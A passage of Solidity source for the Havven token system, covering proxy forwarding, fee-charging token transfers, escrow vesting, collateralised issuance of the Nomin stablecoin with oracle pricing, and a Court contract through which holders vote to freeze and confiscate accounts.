let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } } modifier onlyTarget { require(Proxyable(msg.sender) == target); _; } event TargetUpdated(Proxyable newTarget); } contract Proxyable is Owned { Proxy public proxy; address messageSender; constructor(address _proxy, address _owner) Owned(_owner) public { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setProxy(address _proxy) external onlyOwner { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { require(Proxy(msg.sender) == proxy); _; } modifier optionalProxy { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } _; } modifier optionalProxy_onlyOwner { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } require(messageSender == owner); _; } event ProxyUpdated(address proxyAddress); } contract ExternStateToken is SafeDecimalMath, SelfDestructible, Proxyable { TokenState public tokenState; string public name; string public symbol; uint public totalSupply; constructor(address _proxy, TokenState _tokenState, string _name, string _symbol, uint _totalSupply, address _owner) SelfDestructible(_owner) Proxyable(_proxy, _owner) public { name = _name; symbol = _symbol; totalSupply = _totalSupply; tokenState = _tokenState; } function allowance(address owner, address spender) public view returns (uint) { return tokenState.allowance(owner, spender); } function balanceOf(address account) public view returns (uint) { return tokenState.balanceOf(account); } function setTokenState(TokenState _tokenState) external optionalProxy_onlyOwner { tokenState = _tokenState; emitTokenStateUpdated(_tokenState); } function _internalTransfer(address from, address to, uint value) internal returns (bool) { require(to != address(0)); require(to != address(this)); require(to != address(proxy)); tokenState.setBalanceOf(from, safeSub(tokenState.balanceOf(from), value)); tokenState.setBalanceOf(to, safeAdd(tokenState.balanceOf(to), value)); emitTransfer(from, to, value); return true; } function _transfer_byProxy(address from, address to, uint value) internal returns (bool) { return _internalTransfer(from, to, value); } function _transferFrom_byProxy(address sender, address from, address to, uint value) internal returns (bool) { tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), value)); return _internalTransfer(from, to, value); } function approve(address spender, uint value) public optionalProxy returns (bool) { address sender = messageSender; tokenState.setAllowance(sender, spender, value); emitApproval(sender, spender, value); return true; } event Transfer(address indexed from, address indexed to, uint value); bytes32 constant TRANSFER_SIG = keccak256(""Transfer(address,address,uint256)""); function emitTransfer(address from, address to, uint value) internal { proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0); } event Approval(address indexed owner, address indexed spender, uint value); bytes32 constant APPROVAL_SIG = keccak256(""Approval(address,address,uint256)""); function emitApproval(address owner, address spender, uint value) internal { proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0); } event TokenStateUpdated(address newTokenState); bytes32 constant TOKENSTATEUPDATED_SIG = keccak256(""TokenStateUpdated(address)""); function emitTokenStateUpdated(address newTokenState) internal { proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0); } } contract FeeToken is ExternStateToken { uint public transferFeeRate; uint constant MAX_TRANSFER_FEE_RATE = UNIT / 10; address public feeAuthority; address public constant FEE_ADDRESS = 0xfeefeefeefeefeefeefeefeefeefeefeefeefeef; constructor(address _proxy, TokenState _tokenState, string _name, string _symbol, uint _totalSupply, uint _transferFeeRate, address _feeAuthority, address _owner) ExternStateToken(_proxy, _tokenState, _name, _symbol, _totalSupply, _owner) public { feeAuthority = _feeAuthority; require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE); transferFeeRate = _transferFeeRate; } function setTransferFeeRate(uint _transferFeeRate) external optionalProxy_onlyOwner { require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE); transferFeeRate = _transferFeeRate; emitTransferFeeRateUpdated(_transferFeeRate); } function setFeeAuthority(address _feeAuthority) public optionalProxy_onlyOwner { feeAuthority = _feeAuthority; emitFeeAuthorityUpdated(_feeAuthority); } function transferFeeIncurred(uint value) public view returns (uint) { return safeMul_dec(value, transferFeeRate); } function transferPlusFee(uint value) external view returns (uint) { return safeAdd(value, transferFeeIncurred(value)); } function amountReceived(uint value) public view returns (uint) { return safeDiv_dec(value, safeAdd(UNIT, transferFeeRate)); } function feePool() external view returns (uint) { return tokenState.balanceOf(FEE_ADDRESS); } function _internalTransfer(address from, address to, uint amount, uint fee) internal returns (bool) { require(to != address(0)); require(to != address(this)); require(to != address(proxy)); tokenState.setBalanceOf(from, safeSub(tokenState.balanceOf(from), safeAdd(amount, fee))); tokenState.setBalanceOf(to, safeAdd(tokenState.balanceOf(to), amount)); tokenState.setBalanceOf(FEE_ADDRESS, safeAdd(tokenState.balanceOf(FEE_ADDRESS), fee)); emitTransfer(from, to, amount); emitTransfer(from, FEE_ADDRESS, fee); return true; } function _transfer_byProxy(address sender, address to, uint value) internal returns (bool) { uint received = amountReceived(value); uint fee = safeSub(value, received); return _internalTransfer(sender, to, received, fee); } function _transferFrom_byProxy(address sender, address from, address to, uint value) internal returns (bool) { uint received = amountReceived(value); uint fee = safeSub(value, received); tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), value)); return _internalTransfer(from, to, received, fee); } function _transferSenderPaysFee_byProxy(address sender, address to, uint value) internal returns (bool) { uint fee = transferFeeIncurred(value); return _internalTransfer(sender, to, value, fee); } function _transferFromSenderPaysFee_byProxy(address sender, address from, address to, uint value) internal returns (bool) { uint fee = transferFeeIncurred(value); uint total = safeAdd(value, fee); tokenState.setAllowance(from, sender, safeSub(tokenState.allowance(from, sender), total)); return _internalTransfer(from, to, value, fee); } function withdrawFees(address account, uint value) external onlyFeeAuthority returns (bool) { require(account != address(0)); if (value == 0) { return false; } tokenState.setBalanceOf(FEE_ADDRESS, safeSub(tokenState.balanceOf(FEE_ADDRESS), value)); tokenState.setBalanceOf(account, safeAdd(tokenState.balanceOf(account), value)); emitFeesWithdrawn(account, value); emitTransfer(FEE_ADDRESS, account, value); return true; } function donateToFeePool(uint n) external optionalProxy returns (bool) { address sender = messageSender; uint balance = tokenState.balanceOf(sender); require(balance != 0); tokenState.setBalanceOf(sender, safeSub(balance, n)); tokenState.setBalanceOf(FEE_ADDRESS, safeAdd(tokenState.balanceOf(FEE_ADDRESS), n)); emitFeesDonated(sender, n); emitTransfer(sender, FEE_ADDRESS, n); return true; } modifier onlyFeeAuthority { require(msg.sender == feeAuthority); _; } event TransferFeeRateUpdated(uint newFeeRate); bytes32 constant TRANSFERFEERATEUPDATED_SIG = keccak256(""TransferFeeRateUpdated(uint256)""); function emitTransferFeeRateUpdated(uint newFeeRate) internal { proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEERATEUPDATED_SIG, 0, 0, 0); } event FeeAuthorityUpdated(address newFeeAuthority); bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256(""FeeAuthorityUpdated(address)""); function emitFeeAuthorityUpdated(address newFeeAuthority) internal { proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0); } event FeesWithdrawn(address indexed account, uint value); bytes32 constant FEESWITHDRAWN_SIG = keccak256(""FeesWithdrawn(address,uint256)""); function emitFeesWithdrawn(address account, uint value) internal { proxy._emit(abi.encode(value), 2, FEESWITHDRAWN_SIG, bytes32(account), 0, 0); } event FeesDonated(address indexed donor, uint value); bytes32 constant FEESDONATED_SIG = keccak256(""FeesDonated(address,uint256)""); function emitFeesDonated(address donor, uint value) internal { proxy._emit(abi.encode(value), 2, FEESDONATED_SIG, bytes32(donor), 0, 0); } } contract LimitedSetup { uint setupExpiryTime; constructor(uint setupDuration) public { setupExpiryTime = now + setupDuration; } modifier onlyDuringSetup { require(now < setupExpiryTime); _; } } contract HavvenEscrow is SafeDecimalMath, Owned, LimitedSetup(8 weeks) { Havven public havven; mapping(address => uint[2][]) public vestingSchedules; mapping(address => uint) public totalVestedAccountBalance; uint public totalVestedBalance; uint constant TIME_INDEX = 0; uint constant QUANTITY_INDEX = 1; uint constant MAX_VESTING_ENTRIES = 20; constructor(address _owner, Havven _havven) Owned(_owner) public { havven = _havven; } function setHavven(Havven _havven) external onlyOwner { havven = _havven; emit HavvenUpdated(_havven); } function balanceOf(address account) public view returns (uint) { return totalVestedAccountBalance[account]; } function numVestingEntries(address account) public view returns (uint) { return vestingSchedules[account].length; } function getVestingScheduleEntry(address account, uint index) public view returns (uint[2]) { return vestingSchedules[account][index]; } function getVestingTime(address account, uint index) public view returns (uint) { return getVestingScheduleEntry(account,index)[TIME_INDEX]; } function getVestingQuantity(address account, uint index) public view returns (uint) { return getVestingScheduleEntry(account,index)[QUANTITY_INDEX]; } function getNextVestingIndex(address account) public view returns (uint) { uint len = numVestingEntries(account); for (uint i = 0; i < len; i++) { if (getVestingTime(account, i) != 0) { return i; } } return len; } function getNextVestingEntry(address account) public view returns (uint[2]) { uint index = getNextVestingIndex(account); if (index == numVestingEntries(account)) { return [uint(0), 0]; } return getVestingScheduleEntry(account, index); } function getNextVestingTime(address account) external view returns (uint) { return getNextVestingEntry(account)[TIME_INDEX]; } function getNextVestingQuantity(address account) external view returns (uint) { return getNextVestingEntry(account)[QUANTITY_INDEX]; } function withdrawHavvens(uint quantity) external onlyOwner onlyDuringSetup { havven.transfer(havven, quantity); } function purgeAccount(address account) external onlyOwner onlyDuringSetup { delete vestingSchedules[account]; totalVestedBalance = safeSub(totalVestedBalance, totalVestedAccountBalance[account]); delete totalVestedAccountBalance[account]; } function appendVestingEntry(address account, uint time, uint quantity) public onlyOwner onlyDuringSetup { require(now < time); require(quantity != 0); totalVestedBalance = safeAdd(totalVestedBalance, quantity); require(totalVestedBalance <= havven.balanceOf(this)); uint scheduleLength = vestingSchedules[account].length; require(scheduleLength <= MAX_VESTING_ENTRIES); if (scheduleLength == 0) { totalVestedAccountBalance[account] = quantity; } else { require(getVestingTime(account, numVestingEntries(account) - 1) < time); totalVestedAccountBalance[account] = safeAdd(totalVestedAccountBalance[account], quantity); } vestingSchedules[account].push([time, quantity]); } function addVestingSchedule(address account, uint[] times, uint[] quantities) external onlyOwner onlyDuringSetup { for (uint i = 0; i < times.length; i++) { appendVestingEntry(account, times[i], quantities[i]); } } function vest() external { uint numEntries = numVestingEntries(msg.sender); uint total; for (uint i = 0; i < numEntries; i++) { uint time = getVestingTime(msg.sender, i); if (time > now) { break; } uint qty = getVestingQuantity(msg.sender, i); if (qty == 0) { continue; } vestingSchedules[msg.sender][i] = [0, 0]; total = safeAdd(total, qty); } if (total != 0) { totalVestedBalance = safeSub(totalVestedBalance, total); totalVestedAccountBalance[msg.sender] = safeSub(totalVestedAccountBalance[msg.sender], total); havven.transfer(msg.sender, total); emit Vested(msg.sender, now, total); } } event HavvenUpdated(address newHavven); event Vested(address indexed beneficiary, uint time, uint value); } contract Havven is ExternStateToken { struct IssuanceData { uint currentBalanceSum; uint lastAverageBalance; uint lastModified; } mapping(address => IssuanceData) public issuanceData; IssuanceData public totalIssuanceData; uint public feePeriodStartTime; uint public lastFeePeriodStartTime; uint public feePeriodDuration = 4 weeks; uint constant MIN_FEE_PERIOD_DURATION = 1 days; uint constant MAX_FEE_PERIOD_DURATION = 26 weeks; uint public lastFeesCollected; mapping(address => bool) public hasWithdrawnFees; Nomin public nomin; HavvenEscrow public escrow; address public oracle; uint public price; uint public lastPriceUpdateTime; uint public priceStalePeriod = 3 hours; uint public issuanceRatio = UNIT / 5; uint constant MAX_ISSUANCE_RATIO = UNIT; mapping(address => bool) public isIssuer; mapping(address => uint) public nominsIssued; uint constant HAVVEN_SUPPLY = 1e8 * UNIT; uint constant ORACLE_FUTURE_LIMIT = 10 minutes; string constant TOKEN_NAME = ""Havven""; string constant TOKEN_SYMBOL = ""HAV""; constructor(address _proxy, TokenState _tokenState, address _owner, address _oracle, uint _price, address[] _issuers, Havven _oldHavven) ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, HAVVEN_SUPPLY, _owner) public { oracle = _oracle; price = _price; lastPriceUpdateTime = now; uint i; if (_oldHavven == address(0)) { feePeriodStartTime = now; lastFeePeriodStartTime = now - feePeriodDuration; for (i = 0; i < _issuers.length; i++) { isIssuer[_issuers[i]] = true; } } else { feePeriodStartTime = _oldHavven.feePeriodStartTime(); lastFeePeriodStartTime = _oldHavven.lastFeePeriodStartTime(); uint cbs; uint lab; uint lm; (cbs, lab, lm) = _oldHavven.totalIssuanceData(); totalIssuanceData.currentBalanceSum = cbs; totalIssuanceData.lastAverageBalance = lab; totalIssuanceData.lastModified = lm; for (i = 0; i < _issuers.length; i++) { address issuer = _issuers[i]; isIssuer[issuer] = true; uint nomins = _oldHavven.nominsIssued(issuer); if (nomins == 0) { continue; } (cbs, lab, lm) = _oldHavven.issuanceData(issuer); nominsIssued[issuer] = nomins; issuanceData[issuer].currentBalanceSum = cbs; issuanceData[issuer].lastAverageBalance = lab; issuanceData[issuer].lastModified = lm; } } } function setNomin(Nomin _nomin) external optionalProxy_onlyOwner { nomin = _nomin; emitNominUpdated(_nomin); } function setEscrow(HavvenEscrow _escrow) external optionalProxy_onlyOwner { escrow = _escrow; emitEscrowUpdated(_escrow); } function setFeePeriodDuration(uint duration) external optionalProxy_onlyOwner { require(MIN_FEE_PERIOD_DURATION <= duration && duration <= MAX_FEE_PERIOD_DURATION); feePeriodDuration = duration; emitFeePeriodDurationUpdated(duration); rolloverFeePeriodIfElapsed(); } function setOracle(address _oracle) external optionalProxy_onlyOwner { oracle = _oracle; emitOracleUpdated(_oracle); } function setPriceStalePeriod(uint time) external optionalProxy_onlyOwner { priceStalePeriod = time; } function setIssuanceRatio(uint _issuanceRatio) external optionalProxy_onlyOwner { require(_issuanceRatio <= MAX_ISSUANCE_RATIO); issuanceRatio = _issuanceRatio; emitIssuanceRatioUpdated(_issuanceRatio); } function setIssuer(address account, bool value) external optionalProxy_onlyOwner { isIssuer[account] = value; emitIssuersUpdated(account, value); } function issuanceCurrentBalanceSum(address account) external view returns (uint) { return issuanceData[account].currentBalanceSum; } function issuanceLastAverageBalance(address account) external view returns (uint) { return issuanceData[account].lastAverageBalance; } function issuanceLastModified(address account) external view returns (uint) { return issuanceData[account].lastModified; } function totalIssuanceCurrentBalanceSum() external view returns (uint) { return totalIssuanceData.currentBalanceSum; } function totalIssuanceLastAverageBalance() external view returns (uint) { return totalIssuanceData.lastAverageBalance; } function totalIssuanceLastModified() external view returns (uint) { return totalIssuanceData.lastModified; } function transfer(address to, uint value) public optionalProxy returns (bool) { address sender = messageSender; require(nominsIssued[sender] == 0 || value <= transferableHavvens(sender)); _transfer_byProxy(sender, to, value); return true; } function transferFrom(address from, address to, uint value) public optionalProxy returns (bool) { address sender = messageSender; require(nominsIssued[from] == 0 || value <= transferableHavvens(from)); _transferFrom_byProxy(sender, from, to, value); return true; } function withdrawFees() external optionalProxy { address sender = messageSender; rolloverFeePeriodIfElapsed(); require(!nomin.frozen(sender)); updateIssuanceData(sender, nominsIssued[sender], nomin.totalSupply()); require(!hasWithdrawnFees[sender]); uint feesOwed; uint lastTotalIssued = totalIssuanceData.lastAverageBalance; if (lastTotalIssued > 0) { feesOwed = safeDiv_dec( safeMul_dec(issuanceData[sender].lastAverageBalance, lastFeesCollected), lastTotalIssued ); } hasWithdrawnFees[sender] = true; if (feesOwed != 0) { nomin.withdrawFees(sender, feesOwed); } emitFeesWithdrawn(messageSender, feesOwed); } function updateIssuanceData(address account, uint preBalance, uint lastTotalSupply) internal { totalIssuanceData = computeIssuanceData(lastTotalSupply, totalIssuanceData); if (issuanceData[account].lastModified < feePeriodStartTime) { hasWithdrawnFees[account] = false; } issuanceData[account] = computeIssuanceData(preBalance, issuanceData[account]); } function computeIssuanceData(uint preBalance, IssuanceData preIssuance) internal view returns (IssuanceData) { uint currentBalanceSum = preIssuance.currentBalanceSum; uint lastAverageBalance = preIssuance.lastAverageBalance; uint lastModified = preIssuance.lastModified; if (lastModified < feePeriodStartTime) { if (lastModified < lastFeePeriodStartTime) { lastAverageBalance = preBalance; } else { uint timeUpToRollover = feePeriodStartTime - lastModified; uint lastFeePeriodDuration = feePeriodStartTime - lastFeePeriodStartTime; uint lastBalanceSum = safeAdd(currentBalanceSum, safeMul(preBalance, timeUpToRollover)); lastAverageBalance = lastBalanceSum / lastFeePeriodDuration; } currentBalanceSum = safeMul(preBalance, now - feePeriodStartTime); } else { currentBalanceSum = safeAdd( currentBalanceSum, safeMul(preBalance, now - lastModified) ); } return IssuanceData(currentBalanceSum, lastAverageBalance, now); } function recomputeLastAverageBalance(address account) external returns (uint) { updateIssuanceData(account, nominsIssued[account], nomin.totalSupply()); return issuanceData[account].lastAverageBalance; } function issueNomins(uint amount) public optionalProxy requireIssuer(messageSender) { address sender = messageSender; require(amount <= remainingIssuableNomins(sender)); uint lastTot = nomin.totalSupply(); uint preIssued = nominsIssued[sender]; nomin.issue(sender, amount); nominsIssued[sender] = safeAdd(preIssued, amount); updateIssuanceData(sender, preIssued, lastTot); } function issueMaxNomins() external optionalProxy { issueNomins(remainingIssuableNomins(messageSender)); } function burnNomins(uint amount) external optionalProxy { address sender = messageSender; uint lastTot = nomin.totalSupply(); uint preIssued = nominsIssued[sender]; nomin.burn(sender, amount); nominsIssued[sender] = safeSub(preIssued, amount); updateIssuanceData(sender, preIssued, lastTot); } function rolloverFeePeriodIfElapsed() public { if (now >= feePeriodStartTime + feePeriodDuration) { lastFeesCollected = nomin.feePool(); lastFeePeriodStartTime = feePeriodStartTime; feePeriodStartTime = now; emitFeePeriodRollover(now); } } function maxIssuableNomins(address issuer) view public priceNotStale returns (uint) { if (!isIssuer[issuer]) { return 0; } if (escrow != HavvenEscrow(0)) { uint totalOwnedHavvens = safeAdd(tokenState.balanceOf(issuer), escrow.balanceOf(issuer)); return safeMul_dec(HAVtoUSD(totalOwnedHavvens), issuanceRatio); } else { return safeMul_dec(HAVtoUSD(tokenState.balanceOf(issuer)), issuanceRatio); } } function remainingIssuableNomins(address issuer) view public returns (uint) { uint issued = nominsIssued[issuer]; uint max = maxIssuableNomins(issuer); if (issued > max) { return 0; } else { return safeSub(max, issued); } } function collateral(address account) public view returns (uint) { uint bal = tokenState.balanceOf(account); if (escrow != address(0)) { bal = safeAdd(bal, escrow.balanceOf(account)); } return bal; } function issuanceDraft(address account) public view returns (uint) { uint issued = nominsIssued[account]; if (issued == 0) { return 0; } return USDtoHAV(safeDiv_dec(issued, issuanceRatio)); } function lockedCollateral(address account) public view returns (uint) { uint debt = issuanceDraft(account); uint collat = collateral(account); if (debt > collat) { return collat; } return debt; } function unlockedCollateral(address account) public view returns (uint) { uint locked = lockedCollateral(account); uint collat = collateral(account); return safeSub(collat, locked); } function transferableHavvens(address account) public view returns (uint) { uint draft = issuanceDraft(account); uint collat = collateral(account); if (draft > collat) { return 0; } uint bal = balanceOf(account); if (draft > safeSub(collat, bal)) { return safeSub(collat, draft); } return bal; } function HAVtoUSD(uint hav_dec) public view priceNotStale returns (uint) { return safeMul_dec(hav_dec, price); } function USDtoHAV(uint usd_dec) public view priceNotStale returns (uint) { return safeDiv_dec(usd_dec, price); } function updatePrice(uint newPrice, uint timeSent) external onlyOracle { require(lastPriceUpdateTime < timeSent && timeSent < now + ORACLE_FUTURE_LIMIT); price = newPrice; lastPriceUpdateTime = timeSent; emitPriceUpdated(newPrice, timeSent); rolloverFeePeriodIfElapsed(); } function priceIsStale() public view returns (bool) { return safeAdd(lastPriceUpdateTime, priceStalePeriod) < now; } modifier requireIssuer(address account) { require(isIssuer[account]); _; } modifier onlyOracle { require(msg.sender == oracle); _; } modifier priceNotStale { require(!priceIsStale()); _; } event PriceUpdated(uint newPrice, uint timestamp); bytes32 constant PRICEUPDATED_SIG = keccak256(""PriceUpdated(uint256,uint256)""); function emitPriceUpdated(uint newPrice, uint timestamp) internal { proxy._emit(abi.encode(newPrice, timestamp), 1, PRICEUPDATED_SIG, 0, 0, 0); } event IssuanceRatioUpdated(uint newRatio); bytes32 constant ISSUANCERATIOUPDATED_SIG = keccak256(""IssuanceRatioUpdated(uint256)""); function emitIssuanceRatioUpdated(uint newRatio) internal { proxy._emit(abi.encode(newRatio), 1, ISSUANCERATIOUPDATED_SIG, 0, 0, 0); } event FeePeriodRollover(uint timestamp); bytes32 constant FEEPERIODROLLOVER_SIG = keccak256(""FeePeriodRollover(uint256)""); function emitFeePeriodRollover(uint timestamp) internal { proxy._emit(abi.encode(timestamp), 1, FEEPERIODROLLOVER_SIG, 0, 0, 0); } event FeePeriodDurationUpdated(uint duration); bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256(""FeePeriodDurationUpdated(uint256)""); function emitFeePeriodDurationUpdated(uint duration) internal { proxy._emit(abi.encode(duration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0); } event FeesWithdrawn(address indexed account, uint value); bytes32 constant FEESWITHDRAWN_SIG = keccak256(""FeesWithdrawn(address,uint256)""); function emitFeesWithdrawn(address account, uint value) internal { proxy._emit(abi.encode(value), 2, FEESWITHDRAWN_SIG, bytes32(account), 0, 0); } event OracleUpdated(address newOracle); bytes32 constant ORACLEUPDATED_SIG = keccak256(""OracleUpdated(address)""); function emitOracleUpdated(address newOracle) internal { proxy._emit(abi.encode(newOracle), 1, ORACLEUPDATED_SIG, 0, 0, 0); } event NominUpdated(address newNomin); bytes32 constant NOMINUPDATED_SIG = keccak256(""NominUpdated(address)""); function emitNominUpdated(address newNomin) internal { proxy._emit(abi.encode(newNomin), 1, NOMINUPDATED_SIG, 0, 0, 0); } event EscrowUpdated(address newEscrow); bytes32 constant ESCROWUPDATED_SIG = keccak256(""EscrowUpdated(address)""); function emitEscrowUpdated(address newEscrow) internal { proxy._emit(abi.encode(newEscrow), 1, ESCROWUPDATED_SIG, 0, 0, 0); } event IssuersUpdated(address indexed account, bool indexed value); bytes32 constant ISSUERSUPDATED_SIG = keccak256(""IssuersUpdated(address,bool)""); function emitIssuersUpdated(address account, bool value) internal { proxy._emit(abi.encode(), 3, ISSUERSUPDATED_SIG, bytes32(account), bytes32(value ? 1 : 0), 0); } } contract Court is SafeDecimalMath, Owned { Havven public havven; Nomin public nomin; uint public minStandingBalance = 100 * UNIT; uint public votingPeriod = 1 weeks; uint constant MIN_VOTING_PERIOD = 3 days; uint constant MAX_VOTING_PERIOD = 4 weeks; uint public confirmationPeriod = 1 weeks; uint constant MIN_CONFIRMATION_PERIOD = 1 days; uint constant MAX_CONFIRMATION_PERIOD = 2 weeks; uint public requiredParticipation = 3 * UNIT / 10; uint constant MIN_REQUIRED_PARTICIPATION = UNIT / 10; uint public requiredMajority = (2 * UNIT) / 3; uint constant MIN_REQUIRED_MAJORITY = UNIT / 2; uint nextMotionID = 1; mapping(uint => address) public motionTarget; mapping(address => uint) public targetMotionID; mapping(uint => uint) public motionStartTime; mapping(uint => uint) public votesFor; mapping(uint => uint) public votesAgainst; mapping(address => mapping(uint => uint)) voteWeight; enum Vote {Abstention, Yea, Nay} mapping(address => mapping(uint => Vote)) public vote; constructor(Havven _havven, Nomin _nomin, address _owner) Owned(_owner) public { havven = _havven; nomin = _nomin; } function setMinStandingBalance(uint balance) external onlyOwner { minStandingBalance = balance; } function setVotingPeriod(uint duration) external onlyOwner { require(MIN_VOTING_PERIOD <= duration && duration <= MAX_VOTING_PERIOD); require(duration <= havven.feePeriodDuration()); votingPeriod = duration; } function setConfirmationPeriod(uint duration) external onlyOwner { require(MIN_CONFIRMATION_PERIOD <= duration && duration <= MAX_CONFIRMATION_PERIOD); confirmationPeriod = duration; } function setRequiredParticipation(uint fraction) external onlyOwner { require(MIN_REQUIRED_PARTICIPATION <= fraction); requiredParticipation = fraction; } function setRequiredMajority(uint fraction) external onlyOwner { require(MIN_REQUIRED_MAJORITY <= fraction); requiredMajority = fraction; } function motionVoting(uint motionID) public view returns (bool) { return motionStartTime[motionID] < now && now < motionStartTime[motionID] + votingPeriod; } function motionConfirming(uint motionID) public view returns (bool) { uint startTime = motionStartTime[motionID]; return startTime + votingPeriod <= now && now < startTime + votingPeriod + confirmationPeriod; } function motionWaiting(uint motionID) public view returns (bool) { return motionStartTime[motionID] + votingPeriod + confirmationPeriod <= now; } function motionPasses(uint motionID) public view returns (bool) { uint yeas = votesFor[motionID]; uint nays = votesAgainst[motionID]; uint totalVotes = safeAdd(yeas, nays); if (totalVotes == 0) { return false; } uint participation = safeDiv_dec(totalVotes, havven.totalIssuanceLastAverageBalance()); uint fractionInFavour = safeDiv_dec(yeas, totalVotes); return participation > requiredParticipation && fractionInFavour > requiredMajority; } function hasVoted(address account, uint motionID) public view returns (bool) { return vote[account][motionID] != Vote.Abstention; } function beginMotion(address target) external returns (uint) { require((havven.issuanceLastAverageBalance(msg.sender) >= minStandingBalance) || msg.sender == owner); require(votingPeriod <= havven.feePeriodDuration()); require(targetMotionID[target] == 0); require(!nomin.frozen(target)); havven.rolloverFeePeriodIfElapsed(); uint motionID = nextMotionID++; motionTarget[motionID] = target; targetMotionID[target] = motionID; uint startTime = havven.feePeriodStartTime() + havven.feePeriodDuration(); motionStartTime[motionID] = startTime; emit MotionBegun(msg.sender, target, motionID, startTime); return motionID; } function setupVote(uint motionID) internal returns (uint) { require(motionVoting(motionID)); require(!hasVoted(msg.sender, motionID)); require(msg.sender != motionTarget[motionID]); uint weight = havven.recomputeLastAverageBalance(msg.sender); require(weight > 0); voteWeight[msg.sender][motionID] = weight; return weight; } function voteFor(uint motionID) external { uint weight = setupVote(motionID); vote[msg.sender][motionID] = Vote.Yea; votesFor[motionID] = safeAdd(votesFor[motionID], weight); emit VotedFor(msg.sender, motionID, weight); } function voteAgainst(uint motionID) external { uint weight = setupVote(motionID); vote[msg.sender][motionID] = Vote.Nay; votesAgainst[motionID] = safeAdd(votesAgainst[motionID], weight); emit VotedAgainst(msg.sender, motionID, weight); } function cancelVote(uint motionID) external { require(!motionConfirming(motionID)); Vote senderVote = vote[msg.sender][motionID]; require(senderVote != Vote.Abstention); if (motionVoting(motionID)) { if (senderVote == Vote.Yea) { votesFor[motionID] = safeSub(votesFor[motionID], voteWeight[msg.sender][motionID]); } else { votesAgainst[motionID] = safeSub(votesAgainst[motionID], voteWeight[msg.sender][motionID]); } emit VoteCancelled(msg.sender, motionID); } delete voteWeight[msg.sender][motionID]; delete vote[msg.sender][motionID]; } function _closeMotion(uint motionID) internal { delete targetMotionID[motionTarget[motionID]]; delete motionTarget[motionID]; delete motionStartTime[motionID]; delete votesFor[motionID]; delete votesAgainst[motionID]; emit MotionClosed(motionID); } function closeMotion(uint motionID) external { require((motionConfirming(motionID) && !motionPasses(motionID)) || motionWaiting(motionID)); _closeMotion(motionID); } function approveMotion(uint motionID) external onlyOwner { require(motionConfirming(motionID) && motionPasses(motionID)); address target = motionTarget[motionID]; nomin.freezeAndConfiscate(target); _closeMotion(motionID); emit MotionApproved(motionID); } function vetoMotion(uint motionID) external onlyOwner { require(!motionWaiting(motionID)); _closeMotion(motionID); emit MotionVetoed(motionID); } event MotionBegun(address indexed initiator, address indexed target, uint indexed motionID, uint startTime); event VotedFor(address indexed voter, uint indexed motionID, uint weight); event VotedAgainst(address indexed voter, uint indexed motionID, uint weight); event VoteCancelled(address indexed voter, uint indexed motionID); event MotionClosed(uint indexed motionID); event MotionVetoed(uint indexed motionID); event MotionApproved(uint indexed motionID); } contract Nomin is FeeToken { Court public court; Havven public havven; mapping(address => bool) public frozen; uint constant TRANSFER_FEE_RATE = 15 * UNIT / 10000; string constant TOKEN_NAME = ""Nomin USD""; string constant TOKEN_SYMBOL = ""nUSD""; constructor(address _proxy, TokenState _tokenState, Havven _havven, uint _totalSupply, address _owner) FeeToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, _totalSupply, TRANSFER_FEE_RATE, _havven, _owner) public { require(_proxy != 0 && address(_havven) != 0 && _owner != 0); frozen[FEE_ADDRESS] = true; havven = _havven; } function setCourt(Court _court) external optionalProxy_onlyOwner { court = _court; emitCourtUpdated(_court); } function setHavven(Havven _havven) external optionalProxy_onlyOwner { havven = _havven; setFeeAuthority(_havven); emitHavvenUpdated(_havven); } function transfer(address to, uint value) public optionalProxy returns (bool) { require(!frozen[to]); return _transfer_byProxy(messageSender, to, value); } function transferFrom(address from, address to, uint value) public optionalProxy returns (bool) { require(!frozen[to]); return _transferFrom_byProxy(messageSender, from, to, value); } function transferSenderPaysFee(address to, uint value) public optionalProxy returns (bool) { require(!frozen[to]); return _transferSenderPaysFee_byProxy(messageSender, to, value); } function transferFromSenderPaysFee(address from, address to, uint value) public optionalProxy returns (bool) { require(!frozen[to]); return _transferFromSenderPaysFee_byProxy(messageSender, from, to, value); } function freezeAndConfiscate(address target) external onlyCourt { uint motionID = court.targetMotionID(target); require(motionID != 0); require(court.motionConfirming(motionID)); require(court.motionPasses(motionID)); require(!frozen[target]); uint balance = tokenState.balanceOf(target); tokenState.setBalanceOf(FEE_ADDRESS, safeAdd(tokenState.balanceOf(FEE_ADDRESS), balance)); tokenState.setBalanceOf(target, 0); frozen[target] = true; emitAccountFrozen(target, balance); emitTransfer(target, FEE_ADDRESS, balance); } function unfreezeAccount(address target) external optionalProxy_onlyOwner { require(frozen[target] && target != FEE_ADDRESS); frozen[target] = false; emitAccountUnfrozen(target); } function issue(address account, uint amount) external onlyHavven { tokenState.setBalanceOf(account, safeAdd(tokenState.balanceOf(account), amount)); totalSupply = safeAdd(totalSupply, amount); emitTransfer(address(0), account, amount); emitIssued(account, amount); } function burn(address account, uint amount) external onlyHavven { tokenState.setBalanceOf(account, safeSub(tokenState.balanceOf(account), amount)); totalSupply = safeSub(totalSupply, amount); emitTransfer(account, address(0), amount); emitBurned(account, amount); } modifier onlyHavven() { 